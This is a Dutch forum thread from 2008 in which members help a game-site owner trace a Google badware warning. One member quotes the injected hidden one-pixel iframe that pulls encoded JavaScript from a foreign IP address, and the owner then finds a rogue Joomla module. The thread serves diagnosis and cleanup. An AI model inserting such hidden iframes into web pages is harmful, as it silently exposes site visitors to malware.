Badware melding van Google

[Artwido]

Ik draai al meer dan een jaar een spellensite.Je moet er registreren zodat je scores worden opgeslagen.
De spelletjes zijn flash bestanden.
Op de frontpage zit o.a een shoutbox en ik gebruik voor mijn statistieken Statcounter.

Maar sinds vandaag krijg ik van Google de melding dat mijn site een bedreiging vormt.
Als ik met FF naar de site ga dan komt er een waarschuwing in beeld ipv de site.
Verder kreeg ik een mailtje van Google met de mededeling dat de gebruikers van mijn site geïnfecteerd kunnen worden met schadelijke software.

Ik zou dus niet weten wat deze melding veroorzaakt? Ik denk dat het de statcounter is?
Mijn vraag is hoe kom ik daar achter?

[moozzuzz]

Door de counter er af te halen en dan te zien of je nog steeds dezelfde melding krijgt? Welke andere externe resources komen nog op je site?

[Artwido]

moozzuzz schreef op donderdag 17 juli 2008 @ 15:16:
Door de counter er af te halen en dan te zien of je nog steeds dezelfde melding krijgt? Welke andere externe resources komen nog op je site?

Die melding gaat er niet automatisch af. Ik moet Google verzoeken.
En zover ik weet is de statcounter de enige externe resource.

[McKaamos]

check de broncode van je pagina eens vanuit de browser. Staan er toevallig onzichtbare iFrames in oid die andere pagina's includen?
Dikke kans dat je site dan een vulnerability heeft die ge-exploit is.

Het gaat om de spellenwebsite uit je sig toch?
Mambo/Joomla site zie ik, en de bron van de frontpagina gaf dit:

HTML:

<iframe src=http://61.155.8.157/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe>

Opvragen van de URL geeft een stukje URL encoded javascript dat ge-execute moet worden schijnbaar...

Ik heb even een tacert gedaan op het IP. Lijkt gehost te worden op een lijntje achter een NTT Communications (chinese ISP) verbinding.

edit:
haal de link maar even uit je sig, zodat niet iedereen er heen gaat en infected raakt.

[ Voor 62% gewijzigd door McKaamos op 17-07-2008 15:57 ]

[BtM909]

Als ik met FF naar de site ga dan komt er een waarschuwing in beeld ipv de site.

Geef eens een printscreen

[Joolee]

BtM909 schreef op donderdag 17 juli 2008 @ 15:25:
[...]

Geef eens een printscreen

klik

[Artwido]

Ik zie nu op het Joomla forum dat er meer er last van hebben.
klik

[Bosmonster]

http://safebrowsing.clien...te=http://www.arturius.nl

[ Voor 12% gewijzigd door Bosmonster op 17-07-2008 15:53 ]

[Artwido]

Ik heb de boosdoener gevonden.
Er was een module genaamd mambo info geïnstalleerd. (oftewel de site is gehacked)

[Juup]

Wow. Wel cool van google dat ze je een mailtje met info hierover gestuurd hebben.

[McKaamos]

Wie heeft het over mail? Je krijgt juist een melding als je via Google de website opzoekt.

[Pete]

McKaamos schreef op vrijdag 18 juli 2008 @ 07:17:
Wie heeft het over mail? Je krijgt juist een melding als je via Google de website opzoekt.

Artwido schreef op donderdag 17 juli 2008 @ 15:09:
...
Verder kreeg ik een mailtje van Google met de mededeling dat de gebruikers van mijn site geïnfecteerd kunnen worden met schadelijke software.
...

[McKaamos]

phsmit schreef op vrijdag 18 juli 2008 @ 07:56:
[...]


[...]

ah ok, niet goed gelezen. sorry!

[Tsjilp]

Ik heb het laatst ook op m'n blog gehad (wordpress). Alles updaten naar de laatste versie, wachtwoord wijzigen en alle posts langsgaan en checken op dubieuze code (zoals dat iframe). Daarna google verzoeken om weer toegelaten te worden, bij mij duurde dat ongeveer 6 weken.

[Artwido]

Tsjilp schreef op vrijdag 18 juli 2008 @ 13:46:
Ik heb het laatst ook op m'n blog gehad (wordpress). Alles updaten naar de laatste versie, wachtwoord wijzigen en alle posts langsgaan en checken op dubieuze code (zoals dat iframe). Daarna google verzoeken om weer toegelaten te worden, bij mij duurde dat ongeveer 6 weken.

6 weken... dat is behoorlijk lang.
Ik ga het weekend ook alles updaten.
Dit soort geintjes kost weer allemaal een hoop verloren tijd en energie.

[Artwido]

Ze hebben de melding bij Google weggehaald.
Dus 6 weken hoeft niet.

[ Voor 7% gewijzigd door Artwido op 18-07-2008 16:19 ]